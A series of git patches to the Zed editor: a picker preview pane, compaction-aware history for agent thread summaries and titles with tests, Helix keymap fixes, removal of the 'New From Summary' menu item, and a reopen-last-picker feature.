+                HighlightKey::PickerPreview,
+                &[range],
+                |_, theme| theme.colors().search_match_background,
+                cx,
+            );
+        });
+        self.scroll_to_focus_match(window, cx);
+    }
+
+    /// Keep the scroll as far left as possible while showing the match.
+    /// Vertically center the match as much as possible
+    fn scroll_to_focus_match(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.preview_editor.update(cx, |editor, cx| {
+            let display_snapshot = editor.display_snapshot(cx);
+            let buffer_snapshot = display_snapshot.buffer_snapshot();
+            let search_range = buffer_snapshot.anchor_before(MultiBufferOffset(0))
+                ..buffer_snapshot.anchor_after(buffer_snapshot.len());
+
+            // There is at most one highlighted match in the preview, so take the
+            // first background highlight range as the match to focus.
+            let Some((range, _)) = editor
+                .background_highlights_in_range(search_range, &display_snapshot, cx.theme())
+                .into_iter()
+                .next()
+            else {
+                return;
+            };
+
+            let target_row = range.start.row().0 as f64;
+            let centered_y = editor
+                .visible_line_count()
+                .map_or(target_row, |visible_lines| {
+                    (target_row - (visible_lines - 1.) / 2.).max(0.)
+                });
+
+            let start_column = range.start.column() as f64;
+            let end_column = range.end.column() as f64;
+            let centered_x = editor.visible_column_count().map_or(0., |visible_columns| {
+                let min_x_for_end = (end_column - visible_columns + 1.).max(0.);
+                min_x_for_end.min(start_column)
+            });
+
+            editor.scroll_manager.set_forbid_vertical_scroll(false);
+            editor.set_scroll_position(gpui::Point::new(centered_x, centered_y), window, cx);
+            editor.scroll_manager.set_forbid_vertical_scroll(true);
+        })
+    }
+
+    fn render(&self, layout: PreviewLayout, cx: &App) -> impl IntoElement {
+        match layout {
+            PreviewLayout::Below => self.render_preview_below(cx).into_any_element(),
+            PreviewLayout::Right => self.render_preview_right(cx).into_any_element(),
+            PreviewLayout::Hidden => gpui::Empty.into_any_element(),
+        }
+    }
+
+    fn render_preview_right(&self, cx: &App) -> impl IntoElement {
+        v_flex()
+            .size_full()
+            .rounded_t_md()
+            .rounded_b_md()
+            .child(self.render_message_or_editor(cx))
+    }
+
+    fn render_preview_below(&self, cx: &App) -> impl IntoElement {
+        v_flex()
+            .size_full()
+            .rounded_b_md()
+            .child(self.render_message_or_editor(cx))
+    }
+
+    fn render_message_or_editor(&self, cx: &App) -> impl IntoElement {
+        if let Some(message) = &self.message {
+            self.render_message(message, cx).into_any_element()
+        } else {
+            div()
+                .flex_1()
+                .overflow_hidden()
+                .child(self.editor_as_giant_button())
+                .into_any_element()
+        }
+    }
+
+    fn render_message(&self, message: &HighlightedText, cx: &App) -> impl IntoElement {
+        // `with_highlights` inherits the container's text style (set below),
+        // while keeping the message's own highlights (e.g. the file path in
+        // the file finder's "Create new file" entry).
+        let content = StyledText::new(message.text.clone())
+            .with_highlights(message.highlights.iter().cloned())
+            .into_any_element();
+        v_flex()
+            .size_full()
+            .items_center()
+            .justify_center()
+            .font_ui(cx)
+            .text_ui(cx)
+            .text_color(Color::Muted.color(cx))
+            .child(content)
+    }
+
+    fn editor_as_giant_button(&self) -> impl IntoElement {
+        div()
+            .relative()
+            .size_full()
+            .child(self.preview_editor.clone())
+            .child(
+                div()
+                    .id("picker-preview-editor")
+                    .absolute()
+                    .inset_0()
+                    .occlude()
+                    .on_click(|_, window, cx| {
+                        window.dispatch_action(ToMultiBuffer.boxed_clone(), cx);
+                    }),
+            )
+    }
+}
diff --git a/crates/search/Cargo.toml b/crates/search/Cargo.toml
index 3ef52302fa2058..56d7e2b37d7e22 100644
--- a/crates/search/Cargo.toml
+++ b/crates/search/Cargo.toml
@@ -34,6 +34,7 @@ language.workspace = true
 menu.workspace = true
 multi_buffer.workspace = true
 picker.workspace = true
+picker_preview.workspace = true
 project.workspace = true
 serde.workspace = true
 serde_json.workspace = true
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index fde2f6da53760f..040a45ec3ece54 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -265,7 +265,8 @@ impl TextFinder {
         cx: &mut Context<Self>,
     ) -> Self {
         let project = delegate.project(cx).clone();
-        let picker = cx.new(|cx| Picker::list_with_preview(delegate, project, window, cx));
+        let preview = picker_preview::editor_preview(project, window, cx);
+        let picker = cx.new(|cx| Picker::list_with_preview(delegate, preview, window, cx));
         let picker_weak = picker.downgrade();
         let picker_focus_handle = picker.focus_handle(cx);
         picker.update(cx, |picker, cx| {

From 6a1ced4a8ed8ed3e58d4125531c83affa84995d0 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Tue, 30 Jun 2026 11:35:16 +0200
Subject: [PATCH 171/772] agent: Use compaction boundaries when generating
 summaries and titles (#60141)

Summary:

- Use the compaction-aware request history when generating thread
summaries.
- Reuse the same compaction boundary logic for thread title generation,
including saved-thread title regeneration.
- Add regression tests for summary and title request construction with
compacted history.

Tests:

- `cargo test -p agent uses_compacted_history`

Release Notes:

- Improved agent thread summary and title generation to respect
compaction boundaries.

Co-authored-by: gaauwe <gaauwe@users.noreply.github.com>
---
 crates/agent/src/thread.rs | 231 ++++++++++++++++++++++++++-----------
 1 file changed, 164 insertions(+), 67 deletions(-)

diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 899f979a717a40..704e48eef5e636 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -3670,9 +3670,7 @@ impl Thread {
             ..Default::default()
         };
 
-        for message in &self.messages {
-            request.messages.extend(message.to_request());
-        }
+        self.extend_request_history_until(&mut request.messages, self.messages.len());
 
         request.messages.push(LanguageModelRequestMessage {
             role: Role::User,
@@ -4134,32 +4132,10 @@ impl Thread {
 
     fn extend_request_history_until(
         &self,
-        messages: &mut Vec<LanguageModelRequestMessage>,
+        request_messages: &mut Vec<LanguageModelRequestMessage>,
         end_ix: usize,
     ) {
-        let Some(compaction_ix) = self.latest_compaction_message_ix_before(end_ix) else {
-            for message in &self.messages[..end_ix] {
-                messages.extend(message.to_request());
-            }
-            return;
-        };
-
-        if matches!(
-            &*self.messages[compaction_ix],
-            Message::Compaction(CompactionInfo::Summary(_))
-        ) {
-            messages.extend(self.retained_user_request_messages_before(compaction_ix));
-        }
-
-        for message in &self.messages[compaction_ix..end_ix] {
-            messages.extend(message.to_request());
-        }
-    }
-
-    fn latest_compaction_message_ix_before(&self, end_ix: usize) -> Option<usize> {
-        self.messages[..end_ix]
-            .iter()
-            .rposition(|message| matches!(&**message, Message::Compaction(_)))
+        extend_request_history_until(&self.messages, request_messages, end_ix);
     }
 
     /// Captures the data for an `"Agent Compaction Completed"` telemetry event
@@ -4236,8 +4212,7 @@ impl Thread {
                         .map(|usage| (ix, usage))
                 })
         }?;
-        if self
-            .latest_compaction_message_ix_before(self.messages.len())
+        if latest_compaction_message_ix_before(&self.messages, self.messages.len())
             .is_some_and(|compaction_ix| compaction_ix > usage_ix)
         {
             return None;
@@ -4301,41 +4276,6 @@ impl Thread {
         request
     }
 
-    fn retained_user_request_messages_before(
-        &self,
-        compaction_ix: usize,
-    ) -> Vec<LanguageModelRequestMessage> {
-        let mut remaining_bytes = COMPACTION_RETAINED_USER_MESSAGES_BYTE_BUDGET;
-        let mut retained_messages = Vec::new();
-
-        for message in self.messages[..compaction_ix].iter().rev() {
-            let Message::User(user_message) = &**message else {
-                continue;
-            };
-            if user_message.content.is_empty() {
-                continue;
-            }
-
-            let request_message = user_message.to_request();
-            let byte_count = user_message_byte_len(&request_message);
-            if let Some(bytes) = remaining_bytes.checked_sub(byte_count) {
-                remaining_bytes = bytes;
-                retained_messages.push(request_message);
-            } else {
-                if remaining_bytes > 0
-                    && let Some(request_message) =
-                        truncate_user_message_to_byte_budget(request_message, remaining_bytes)
-                {
-                    retained_messages.push(request_message);
-                }
-                break;
-            }
-        }
-
-        retained_messages.reverse();
-        retained_messages
-    }
-
     pub fn to_markdown(&self) -> String {
         let mut markdown = messages_to_markdown(&self.messages);
 
@@ -4673,6 +4613,75 @@ pub(crate) fn messages_to_markdown(messages: &[Arc<Message>]) -> String {
     markdown
 }
 
+fn extend_request_history_until(
+    messages: &[Arc<Message>],
+    request_messages: &mut Vec<LanguageModelRequestMessage>,
+    end_ix: usize,
+) {
+    let end_ix = end_ix.min(messages.len());
+    let Some(compaction_ix) = latest_compaction_message_ix_before(messages, end_ix) else {
+        for message in &messages[..end_ix] {
+            request_messages.extend(message.to_request());
+        }
+        return;
+    };
+
+    if matches!(
+        &*messages[compaction_ix],
+        Message::Compaction(CompactionInfo::Summary(_))
+    ) {
+        request_messages.extend(retained_user_request_messages_before(
+            messages,
+            compaction_ix,
+        ));
+    }
+
+    for message in &messages[compaction_ix..end_ix] {
+        request_messages.extend(message.to_request());
+    }
+}
+
+fn latest_compaction_message_ix_before(messages: &[Arc<Message>], end_ix: usize) -> Option<usize> {
+    messages[..end_ix]
+        .iter()
+        .rposition(|message| matches!(&**message, Message::Compaction(_)))
+}
+
+fn retained_user_request_messages_before(
+    messages: &[Arc<Message>],
+    compaction_ix: usize,
+) -> Vec<LanguageModelRequestMessage> {
+    let mut remaining_bytes = COMPACTION_RETAINED_USER_MESSAGES_BYTE_BUDGET;
+    let mut retained_messages = Vec::new();
+
+    for message in messages[..compaction_ix].iter().rev() {
+        let Message::User(user_message) = &**message else {
+            continue;
+        };
+        if user_message.content.is_empty() {
+            continue;
+        }
+
+        let request_message = user_message.to_request();
+        let byte_count = user_message_byte_len(&request_message);
+        if let Some(bytes) = remaining_bytes.checked_sub(byte_count) {
+            remaining_bytes = bytes;
+            retained_messages.push(request_message);
+        } else {
+            if remaining_bytes > 0
+                && let Some(request_message) =
+                    truncate_user_message_to_byte_budget(request_message, remaining_bytes)
+            {
+                retained_messages.push(request_message);
+            }
+            break;
+        }
+    }
+
+    retained_messages.reverse();
+    retained_messages
+}
+
 pub fn build_thread_title_request(
     messages: &[Arc<Message>],
     temperature: Option<f32>,
@@ -4682,9 +4691,7 @@ pub fn build_thread_title_request(
         temperature,
         ..Default::default()
     };
-    for message in messages {
-        request.messages.extend(message.to_request());
-    }
+    extend_request_history_until(messages, &mut request.messages, messages.len());
     request.messages.push(LanguageModelRequestMessage {
         role: Role::User,
         content: vec![SUMMARIZE_THREAD_PROMPT.into()],
@@ -6520,6 +6527,96 @@ mod tests {
             .collect()
     }
 
+    fn request_texts(messages: &[LanguageModelRequestMessage]) -> Vec<String> {
+        messages
+            .iter()
+            .map(LanguageModelRequestMessage::string_contents)
+            .collect()
+    }
+
+    #[gpui::test]
+    async fn test_thread_summary_request_uses_compacted_history(cx: &mut TestAppContext) {
+        let (thread, _event_stream) = setup_thread_for_test(cx).await;
+        let summary_model = Arc::new(FakeLanguageModel::default());
+
+        let summary_task = cx.update(|cx| {
+            thread.update(cx, |thread, cx| {
+                thread.set_summarization_model(Some(summary_model.clone()), cx);
+                thread
+                    .messages
+                    .push(user_text_message(ClientUserMessageId::new(), "old user"));
+                thread.messages.push(agent_text_message("old assistant"));
+                thread.messages.push(summary_compaction("first summary"));
+                thread.messages.push(user_text_message(
+                    ClientUserMessageId::new(),
+                    "between user",
+                ));
+                thread
+                    .messages
+                    .push(agent_text_message("between assistant"));
+                thread.messages.push(summary_compaction("latest summary"));
+                thread
+                    .messages
+                    .push(user_text_message(ClientUserMessageId::new(), "after user"));
+                thread.messages.push(agent_text_message("after assistant"));
+
+                thread.summary(cx)
+            })
+        });
+        cx.run_until_parked();
+
+        let summary_request = summary_model.pending_completions().pop().unwrap();
+        assert_eq!(
+            summary_request.intent,
+            Some(CompletionIntent::ThreadContextSummarization)
+        );
+        assert_eq!(
+            request_texts(&summary_request.messages),
+            vec![
+                "old user".to_string(),
+                "between user".to_string(),
+                summary_request_text("latest summary"),
+                "after user".to_string(),
+                "after assistant".to_string(),
+                SUMMARIZE_THREAD_DETAILED_PROMPT.to_string(),
+            ]
+        );
+
+        summary_model.send_completion_stream_text_chunk(&summary_request, "thread summary");
+        summary_model.end_completion_stream(&summary_request);
+        assert_eq!(summary_task.await.as_deref(), Some("thread summary"));
+    }
+
+    #[test]
+    fn test_thread_title_request_uses_compacted_history() {
+        let messages = vec![
+            user_text_message(ClientUserMessageId::new(), "old user"),
+            agent_text_message("old assistant"),
+            summary_compaction("first summary"),
+            user_text_message(ClientUserMessageId::new(), "between user"),
+            agent_text_message("between assistant"),
+            summary_compaction("latest summary"),
+            user_text_message(ClientUserMessageId::new(), "after user"),
+            agent_text_message("after assistant"),
+        ];
+
+        let request = build_thread_title_request(&messages, Some(0.2));
+
+        assert_eq!(request.intent, Some(CompletionIntent::ThreadSummarization));
+        assert_eq!(request.temperature, Some(0.2));
+        assert_eq!(
+            request_texts(&request.messages),
+            vec![
+                "old user".to_string(),
+                "between user".to_string(),
+                summary_request_text("latest summary"),
+                "after user".to_string(),
+                "after assistant".to_string(),
+                SUMMARIZE_THREAD_PROMPT.to_string(),
+            ]
+        );
+    }
+
     #[gpui::test]
     async fn test_compaction_threshold_uses_percentage_setting(cx: &mut TestAppContext) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;

From ae0f4462ae3d1a7f0ae3629a5783546f8603d4fc Mon Sep 17 00:00:00 2001
From: Jason Williams <936006+jasonwilliams@users.noreply.github.com>
Date: Tue, 30 Jun 2026 10:51:07 +0100
Subject: [PATCH 172/772] Improve helix keymap (#59638)

# Objective

The objective is to improve Helix's default keymap within Zed as a few
are still missing.
These are all [default
keymaps](https://docs.helix-editor.com/keymap.html) i was using within
Helix but dissapointed they weren't working in Zed
There's more info in [Are we Helix
yet?](https://github.com/zed-industries/zed/discussions/33580#top)

## Solution

- Add `] g` and `[ g` for hunk navigation in helix mode, in helix this
is go to next/previous change which maps nicely to Zed's go to
next/previous hunk. (it was set to `c` here but this is incorrect and
doesn't match Helix's keymap.
- Add `alt-b` and `alt-e` for larger syntax node navigation in helix
mode, i use this a few times to go to the top of a function within the
body and Zed doesn't have it mapped.
- Add `] space` and `[ space` for inserting empty lines in helix mode.
This one was incorrectly implemented previously, after the `space` Zed
is waiting for input. It needs to be a direct chord added rather than on
`helix_next` mode.
- This means the space binding from the helix_next operator context is
redundant, so ive removed it
- Add `*` to use selection for find in helix mode. Helix mode is
slightly different and doesn't "go to next" on `*`, instead that becomes
the `/` register. This is pretty fundamental to helix navigation so
should be ported to Zed also.
- Move `] d` and `[ d` diagnostics navigation into helix_normal context.
Vim was already using this one but it wasn't shared with Helix. I've
moved it to the shared Vim and Helix block.


## Testing

I've tested these changes with a local build and each one works as
expected


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Added `alt-b`/`alt-e` in Helix mode to move to the start/end of the
larger syntax node.
- Added `*` in Helix mode to set the current selection for search.
- Fixed Helix `[`/`]` navigation so `c` goes to the previous/next
comment and `g` to the previous/next hunk, and single-key follow-ups
like `g` no longer hang.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 assets/keymaps/vim.json |  9 ++++--
 crates/vim/src/helix.rs | 64 +++++++++++++++++++++++++++++++++++++++++
 crates/vim/src/vim.rs   | 16 +++++++++++
 3 files changed, 87 insertions(+), 2 deletions(-)

diff --git a/assets/keymaps/vim.json b/assets/keymaps/vim.json
index d23fb2d589d343..0258f34758e8b9 100644
--- a/assets/keymaps/vim.json
+++ b/assets/keymaps/vim.json
@@ -454,6 +454,8 @@
       "shift-t": ["vim::PushFindBackward", { "after": true, "multiline": true }],
       "shift-f": ["vim::PushFindBackward", { "after": false, "multiline": true }],
       "alt-.": "vim::RepeatFind",
+      "alt-b": "editor::MoveToStartOfLargerSyntaxNode",
+      "alt-e": "editor::MoveToEndOfLargerSyntaxNode",
 
       // Changes
       "shift-r": "editor::Paste",
@@ -483,6 +485,7 @@
       "alt-shift-c": "vim::HelixDuplicateAbove",
       "%": "editor::SelectAll",
       "x": "vim::HelixSelectLine",
+      "*": "buffer_search::UseSelectionForFind",
       "shift-x": "editor::SelectLine",
       "ctrl-c": "editor::ToggleComments",
       "alt-o": "editor::SelectLargerSyntaxNode",
@@ -688,7 +691,8 @@
       "shift-b": "pane::ActivateLastItem",
       "x": "editor::SelectSmallerSyntaxNode",
       "d": "editor::GoToDiagnostic",
-      "c": "editor::GoToHunk",
+      "c": "vim::NextComment",
+      "g": "editor::GoToHunk",
       "space": "vim::InsertEmptyLineBelow",
     },
   },
@@ -706,7 +710,8 @@
       "shift-b": ["pane::ActivateItem", 0],
       "x": "editor::SelectLargerSyntaxNode",
       "d": "editor::GoToPreviousDiagnostic",
-      "c": "editor::GoToPreviousHunk",
+      "c": "vim::PreviousComment",
+      "g": "editor::GoToPreviousHunk",
       "space": "vim::InsertEmptyLineAbove",
     },
   },
diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index d3ff4fa05cbc75..092db5fe7542c7 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -4240,4 +4240,68 @@ mod test {
             Mode::HelixSelect,
         );
     }
+
+    #[gpui::test]
+    async fn test_helix_go_to_hunk(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        cx.set_state(
+            indoc! {"
+            ˇone
+            two
+            three"},
+            Mode::HelixNormal,
+        );
+        cx.set_head_text(indoc! {"
+            one
+            CHANGED
+            three"});
+        cx.run_until_parked();
+
+        cx.simulate_keystrokes("]");
+        assert_eq!(
+            cx.active_operator(),
+            Some(Operator::HelixNext { around: true })
+        );
+
+        cx.simulate_keystrokes("g");
+        cx.assert_state(
+            indoc! {"
+            one
+            ˇtwo
+            three"},
+            Mode::HelixNormal,
+        );
+        assert_eq!(cx.active_operator(), None);
+
+        cx.set_state(
+            indoc! {"
+            one
+            two
+            ˇthree"},
+            Mode::HelixNormal,
+        );
+        cx.set_head_text(indoc! {"
+            one
+            CHANGED
+            three"});
+        cx.run_until_parked();
+
+        cx.simulate_keystrokes("[");
+        assert_eq!(
+            cx.active_operator(),
+            Some(Operator::HelixPrevious { around: true })
+        );
+
+        cx.simulate_keystrokes("g");
+        cx.assert_state(
+            indoc! {"
+            one
+            ˇtwo
+            three"},
+            Mode::HelixNormal,
+        );
+        assert_eq!(cx.active_operator(), None);
+    }
 }
diff --git a/crates/vim/src/vim.rs b/crates/vim/src/vim.rs
index e956e58568772d..d58ad3a2c651b3 100644
--- a/crates/vim/src/vim.rs
+++ b/crates/vim/src/vim.rs
@@ -1469,6 +1469,22 @@ impl Vim {
                 } else {
                     mode = "waiting".to_string();
                 }
+            } else if matches!(
+                active_operator,
+                Operator::HelixNext { .. } | Operator::HelixPrevious { .. }
+            ) {
+                // Helix `[`/`]` take a curated, keymap-dispatched selector key
+                // rather than a motion over a range, so they keep `operator_id`
+                // set (so `vim_operator == helix_next/previous` context must
+                // resolve) but must not use the `operator` mode, as that adds
+                // `VimControl` and the `vim_mode == operator` context, whose `g
+                // ...` bindings would make a single-key follow-up like `g` a
+                // multi-key prefix and leave `] g` waiting for more input.
+                // Setting the mode to `waiting` carries none of those
+                // conflicting bindings and still provides bindings for
+                // `escape`/`ctrl-c` to `ClearOperators`.
+                operator_id = active_operator.id();
+                mode = "waiting".to_string();
             } else {
                 operator_id = active_operator.id();
                 mode = "operator".to_string();

From 5329bd81d24ce23d6ff65d6f6c4f2d51cf8468e6 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Tue, 30 Jun 2026 12:00:46 +0200
Subject: [PATCH 173/772] agent: Make new from summary less prominent (#60145)

Now that we have `/compact` we want to make the "new from summary"
option less prominent. You can still manually handoff to a new thread by
@mentioning the thread in a new one (`@thread threadname`)

Release Notes:

- agent: Remove "New from summary" menu item from agent panel dropdown.
You can still @mention the thread in a new one, or run /compact

Co-authored-by: gaauwe <gaauwe@users.noreply.github.com>
---
 crates/agent_ui/src/agent_panel.rs            | 30 -------------------
 .../src/conversation_view/thread_view.rs      |  2 +-
 2 files changed, 1 insertion(+), 31 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 209a2e0fe0bbda..6d608958e65ab1 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -5900,13 +5900,6 @@ impl AgentPanel {
             (None, self.selected_agent.label())
         };
 
-        let active_thread = match &self.base_view {
-            BaseView::AgentThread { conversation_view } => {
-                conversation_view.read(cx).as_native_thread(cx)
-            }
-            BaseView::Terminal { .. } | BaseView::Uninitialized => None,
-        };
-
         let new_thread_menu_builder: Rc<
             dyn Fn(&mut Window, &mut App) -> Option<Entity<ContextMenu>>,
         > = {
@@ -5924,31 +5917,8 @@ impl AgentPanel {
             let agent_server_store = agent_server_store;
 
             Rc::new(move |window, cx| {
-                let active_thread = active_thread.clone();
                 Some(ContextMenu::build(window, cx, |menu, _window, cx| {
                     menu.context(focus_handle.clone())
-                        .when_some(active_thread, |this, active_thread| {
-                            let thread = active_thread.read(cx);
-
-                            if !thread.is_empty() {
-                                let session_id = thread.id().clone();
-                                this.item(
-                                    ContextMenuEntry::new("New From Summary")
-                                        .icon(IconName::ThreadFromSummary)
-                                        .icon_color(Color::Muted)
-                                        .handler(move |window, cx| {
-                                            window.dispatch_action(
-                                                Box::new(NewNativeAgentThreadFromSummary {
-                                                    from_session_id: session_id.clone(),
-                                                }),
-                                                cx,
-                                            );
-                                        }),
-                                )
-                            } else {
-                                this
-                            }
-                        })
                         .item(
                             ContextMenuEntry::new("Zed Agent")
                                 .when(
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index f43dfdaa34749b..b81340e7cc5ddc 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -10921,7 +10921,7 @@ impl ThreadView {
             ),
         };
 
-        let description = "To continue, start a new thread from a summary.";
+        let description = "To continue, run /compact or start a new thread and @-mention this one";
 
         Some(
             Callout::new()

From 8186af99a347dfa9f9fd5af88da419b97b9727fa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yara=20=F0=9F=8F=B3=EF=B8=8F=E2=80=8D=E2=9A=A7=EF=B8=8F?=
 <git@yara.blue>
Date: Tue, 30 Jun 2026 12:09:26 +0200
Subject: [PATCH 174/772] Restore last picker (#59912)

Adds ability to re-open any closed picker.

Release Notes:

- Added: workspace::ReopenLastPicker

Co-authored-by: Richard Feldman <oss@rtfeldman.com>
---
 assets/keymaps/default-linux.json             |   1 +
 assets/keymaps/default-macos.json             |   1 +
 assets/keymaps/default-windows.json           |   1 +
 crates/command_palette/src/command_palette.rs |   3 +-
 crates/picker/src/picker.rs                   |  24 +++
 crates/workspace/src/modal_layer.rs           | 101 +++++++++--
 crates/workspace/src/workspace.rs             | 168 ++++++++++++++++++
 7 files changed, 282 insertions(+), 17 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index bf9f84ad21d009..56b853384f9ac1 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -678,6 +678,7 @@
       "ctrl-shift-f": "pane::DeploySearch",
       "ctrl-shift-h": ["pane::DeploySearch", { "replace_enabled": true }],
       "ctrl-shift-t": "pane::ReopenClosedItem",
+      "ctrl-k ctrl-p": "workspace::ReopenLastPicker",
       "ctrl-k ctrl-s": "zed::OpenKeymap",
       "ctrl-k ctrl-t": "theme_selector::Toggle",
       "ctrl-k ctrl-shift-t": "theme::ToggleMode",
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 6896193e50ca0d..009490e42781c0 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -740,6 +740,7 @@
       "cmd-shift-f": "pane::DeploySearch",
       "cmd-shift-h": ["pane::DeploySearch", { "replace_enabled": true }],
       "cmd-shift-t": "pane::ReopenClosedItem",
+      "cmd-k cmd-p": "workspace::ReopenLastPicker",
       "cmd-k cmd-s": "zed::OpenKeymap",
       "cmd-k cmd-t": "theme_selector::Toggle",
       "cmd-k cmd-shift-t": "theme::ToggleMode",
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index f27fe19a7fa2c7..035e470445824b 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -666,6 +666,7 @@
       "ctrl-shift-f": "pane::DeploySearch",
       "ctrl-shift-h": ["pane::DeploySearch", { "replace_enabled": true }],
       "ctrl-shift-t": "pane::ReopenClosedItem",
+      "ctrl-k ctrl-p": "workspace::ReopenLastPicker",
       "ctrl-k ctrl-s": "zed::OpenKeymap",
       "ctrl-k ctrl-t": "theme_selector::Toggle",
       "ctrl-k ctrl-shift-t": "theme::ToggleMode",
diff --git a/crates/command_palette/src/command_palette.rs b/crates/command_palette/src/command_palette.rs
index 2b8f5a9fa94610..3b8a6e770e4475 100644
--- a/crates/command_palette/src/command_palette.rs
+++ b/crates/command_palette/src/command_palette.rs
@@ -125,7 +125,8 @@ impl CommandPalette {
         );
 
         let picker = cx.new(|cx| {
-            let picker = Picker::uniform_list(delegate, window, cx);
+            // One-shot action; there's nothing to reopen.
+            let picker = Picker::uniform_list(delegate, window, cx).reopenable(false, cx);
             picker.set_query(query, window, cx);
             picker
         });
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index dd0af8ef04871f..2f9d0ad3c4f48d 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -140,6 +140,7 @@ pub struct Picker<D: PickerDelegate> {
     /// Handle for the default footer's Actions popover menu. Used to keep the
     /// picker open while that menu has focus.
     actions_menu_handle: PopoverMenuHandle<ContextMenu>,
+    reopenable: bool,
 }
 
 #[derive(Debug, Default, Clone, Copy, PartialEq)]
@@ -544,7 +545,12 @@ impl<D: PickerDelegate> Picker<D> {
             item_bounds: Rc::new(RefCell::new(HashMap::default())),
             size_bounds,
             actions_menu_handle: PopoverMenuHandle::default(),
+            reopenable: true,
         };
+        if this.reopenable {
+            let focus_handle = this.focus_handle(cx);
+            workspace::register_reopenable_picker(&focus_handle, cx);
+        }
         this.update_matches("".to_string(), window, cx);
         // give the delegate 4ms to render the first set of suggestions.
         this.delegate
@@ -622,6 +628,24 @@ impl<D: PickerDelegate> Picker<D> {
         self
     }
 
+    /// Controls whether a modal hosting this picker can be revealed again with
+    /// `workspace::ReopenLastPicker` after it's dismissed. Defaults to `true`;
+    /// pass `false` to exclude this picker. As a builder, this only takes effect
+    /// while constructing the picker, before it's opened.
+    pub fn reopenable(mut self, reopenable: bool, cx: &mut App) -> Self {
+        if reopenable == self.reopenable {
+            return self;
+        }
+        self.reopenable = reopenable;
+        let focus_handle = self.focus_handle(cx);
+        if reopenable {
+            workspace::register_reopenable_picker(&focus_handle, cx);
+        } else {
+            workspace::deregister_reopenable_picker(&focus_handle, cx);
+        }
+        self
+    }
+
     /// Presents the picker as embedded inside a larger container that provides
     /// its own chrome and dismissal, rather than the default self-contained
     /// modal. Use [`popover`](Self::popover) instead for menu-attached pickers.
diff --git a/crates/workspace/src/modal_layer.rs b/crates/workspace/src/modal_layer.rs
index 5949c0b1fffb21..4964d82159fd96 100644
--- a/crates/workspace/src/modal_layer.rs
+++ b/crates/workspace/src/modal_layer.rs
@@ -1,6 +1,6 @@
 use gpui::{
-    AnyView, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable as _, ManagedView,
-    MouseButton, Subscription,
+    AnyView, App, DismissEvent, Entity, EventEmitter, FocusHandle, Global, ManagedView,
+    MouseButton, Subscription, WeakFocusHandle,
 };
 use ui::prelude::*;
 
@@ -10,6 +10,42 @@ pub enum DismissDecision {
     Pending,
 }
 
+// A modal that hosts a picker forwards its own focus handle to the inner picker,
+// so the modal layer recognizes a reopenable picker by focus identity rather than
+// requiring each modal wrapper to implement its own opt-in.
+#[derive(Default)]
+struct ReopenablePickerRegistry {
+    handles: Vec<WeakFocusHandle>,
+}
+
+impl Global for ReopenablePickerRegistry {}
+
+pub fn register_reopenable_picker(focus_handle: &FocusHandle, cx: &mut App) {
+    let registry = cx.default_global::<ReopenablePickerRegistry>();
+    registry.handles.retain(|handle| handle.upgrade().is_some());
+    if !registry.handles.iter().any(|handle| handle == focus_handle) {
+        registry.handles.push(focus_handle.downgrade());
+    }
+}
+
+pub fn deregister_reopenable_picker(focus_handle: &FocusHandle, cx: &mut App) {
+    let registry = cx.default_global::<ReopenablePickerRegistry>();
+    registry
+        .handles
+        .retain(|handle| handle.upgrade().is_some() && handle != focus_handle);
+}
+
+fn focus_handle_is_reopenable(focus_handle: &FocusHandle, cx: &App) -> bool {
+    cx.try_global::<ReopenablePickerRegistry>()
+        .is_some_and(|registry| {
+            registry
+                .handles
+                .iter()
+                .filter_map(|handle| handle.upgrade())
+                .any(|handle| &handle == focus_handle)
+        })
+}
+
 pub trait ModalView: ManagedView {
     fn on_before_dismiss(
         &mut self,
@@ -31,6 +67,8 @@ pub trait ModalView: ManagedView {
 trait ModalViewHandle {
     fn on_before_dismiss(&mut self, window: &mut Window, cx: &mut App) -> DismissDecision;
     fn view(&self) -> AnyView;
+    fn focus_handle(&self, cx: &App) -> FocusHandle;
+    fn subscribe_dismiss(&self, window: &mut Window, cx: &mut Context<ModalLayer>) -> Subscription;
     fn fade_out_background(&self, cx: &mut App) -> bool;
     fn render_bare(&self, cx: &mut App) -> bool;
 }
